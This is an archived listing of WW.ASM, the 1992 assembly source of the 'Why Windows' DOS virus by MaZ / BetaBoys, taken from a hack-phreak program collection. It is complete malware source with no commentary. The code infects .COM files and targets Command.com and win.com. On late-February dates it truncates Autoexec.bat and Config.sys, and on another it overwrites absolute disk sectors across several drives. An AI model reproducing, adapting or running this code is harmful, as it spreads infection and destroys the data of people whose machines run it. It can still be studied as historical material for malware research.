home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / WW.ASM < prev    next >
Assembly Source File  |  1992-11-30  |  4KB  |  226 lines

  1. seg_a        segment    byte public
  2.         assume    cs:seg_a, ds:seg_a
  3.  
  4.  
  5.         org    100h
  6.  
  7. ww        proc    far
  8.  
  9. start:
  10.         jmp    loc_2
  11.         db    12 dup (90h)
  12.         db    0CDh, 20h
  13. loc_2:
  14.         jmp    short loc_3
  15.         db     90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
  16.         db     00h, 00h
  17. data_8        db    'C:\Command.Com', 0
  18.         db    'C:\Autoexec.Bat', 0
  19.         db    'C:\Config.Sys', 0
  20.         db    '\win'
  21. data_12         dw      6F64h
  22.         db    'ws\win.com'
  23.         db     00h,0E9h, 0Eh, 00h, 90h,0C8h
  24.         db     01h
  25. loc_3:
  26.         mov    bx,101h
  27.         mov    ah,[bx]
  28.         mov    bx,102h
  29.         mov    al,[bx]
  30.         xchg    al,ah
  31.         add    ax,3
  32.         mov    si,ax
  33.         mov    ah,1Ah
  34.         lea    dx,[si+2C8h]
  35.         add    dx,6
  36.                 int     21h
  37.  
  38.                 mov     ah,4Eh
  39.         lea    dx,[si+103h]
  40.         mov    cx,6
  41.                 int     21h
  42.  
  43.         cmp    ax,12h
  44.         je    loc_7
  45.         lea    dx,[si+10Ah]
  46.         jmp    short loc_6
  47.         db    90h
  48. loc_5:
  49.                 mov     ah,4Dh
  50.                 int     21h
  51.  
  52.                 mov     ah,4Fh
  53.                 int     21h
  54.  
  55.         cmp    ax,12h
  56.         je    loc_7
  57.         lea    dx,[si+2C8h]
  58.         add    dx,24h
  59. loc_6:
  60.                 mov     ah,3Dh
  61.         mov    al,2
  62.                 int     21h
  63.  
  64.         mov    bx,ax
  65.                 mov     ah,42h
  66.         mov    al,2
  67.         mov    dx,0
  68.         mov    cx,0
  69.                 int     21h
  70.  
  71.  
  72.         push    ax
  73.         sub    ax,6
  74.         mov    dx,ax
  75.                 mov     ah,42h
  76.         mov    al,0
  77.         mov    cx,0
  78.                 int     21h
  79.  
  80.  
  81.                 mov     ah,3Fh
  82.         mov    cx,1
  83.         lea    dx,[si+14Bh]
  84.                 int     21h
  85.  
  86.  
  87.         mov    ah,byte ptr data_8+30h[si]
  88.                 cmp     ah,42h
  89.         jne    loc_8
  90.         jmp    short loc_5
  91. loc_7:
  92.         jmp    short loc_9
  93.         db    90h
  94. loc_8:
  95.                 mov     ah,42h
  96.         mov    al,0
  97.         mov    dx,0
  98.         mov    cx,0
  99.                 int     21h
  100.  
  101.  
  102.         mov    ax,3F00h
  103.         mov    cx,3
  104.         lea    dx,[si+2C8h]
  105.         add    dx,3
  106.                 int     21h
  107.  
  108.  
  109.         mov    ax,4200h
  110.         mov    dx,0
  111.         mov    cx,0
  112.                 int     21h
  113.  
  114.  
  115.         pop    ax
  116.         sub    ax,3
  117.         mov    byte ptr data_8+2Eh[si],al
  118.         mov    byte ptr data_8+2Fh[si],ah
  119.                 mov     ah,40h
  120.         mov    cx,3
  121.         lea    dx,[si+148h]
  122.                 int     21h
  123.  
  124.  
  125.         mov    ax,4202h
  126.         mov    dx,0
  127.         mov    cx,0
  128.                 int     21h
  129.  
  130.  
  131.                 mov     ah,40h
  132.         lea    dx,[si+100h]
  133.         mov    cx,data_12[si]
  134.                 int     21h
  135.  
  136.  
  137.         mov    ax,4000h
  138.         lea    dx,[si+2C8h]
  139.         add    dx,3
  140.         mov    cx,3
  141.                 int     21h
  142.  
  143.  
  144.         jmp    short loc_9
  145.         db    90h
  146. loc_9:
  147.                 mov     ah,3Eh
  148.                 int     21h
  149.  
  150.                 mov     ah,41h
  151.         lea    dx,[si+137h]
  152.                 int     21h
  153.  
  154.                 mov     ah,2Ah
  155.                 int     21h
  156.  
  157.  
  158.         cmp    dh,2
  159.         jne    loc_14
  160.         cmp    dl,17h
  161.         je    loc_10
  162.         cmp    dl,18h
  163.         je    loc_11
  164.         cmp    dl,19h
  165.         je    loc_12
  166.         jmp    short loc_14
  167.         db    90h
  168. loc_10:
  169.                 mov     ah,3Ch
  170.         lea    dx,[si+119h]
  171.         mov    cx,1
  172.                 int     21h
  173.  
  174.         jmp    short loc_14
  175.         db    90h
  176. loc_11:
  177.                 mov     ah,3Ch
  178.         lea    dx,[si+129h]
  179.         mov    cx,1
  180.                 int     21h
  181.  
  182.         jmp    short loc_14
  183.         db    90h
  184. loc_12:
  185.         mov    al,2
  186. loc_13:
  187.         mov    cx,96h
  188.         mov    dx,0
  189.         int    26h
  190.  
  191.  
  192.  
  193.         inc    al
  194.         cmp    al,4
  195.         jne    loc_13
  196. loc_14:
  197.         mov    cx,3
  198.         lea    ax,[si+2C8h]
  199.         mov    si,ax
  200.         mov    di,100h
  201.         rep    movsb
  202.         call    sub_1
  203.         int    20h
  204.  
  205. ww        endp
  206.  
  207. sub_1        proc    near
  208.         mov    di,offset start
  209.                 jmp     di
  210.         db    'Why Windows '
  211. copyright    db    '(c)1992 MaZ / BetaBoys B.B'
  212.         db     90h, 90h, 90h
  213. sub_1        endp
  214.  
  215.  
  216. seg_a        ends
  217.  
  218.  
  219.  
  220.                 end     start
  221.  
  222. ;  ─────────────────────────────────────────────────────────────────────────
  223. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  224. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  225. ;  ─────────────────────────────────────────────────────────────────────────
  226.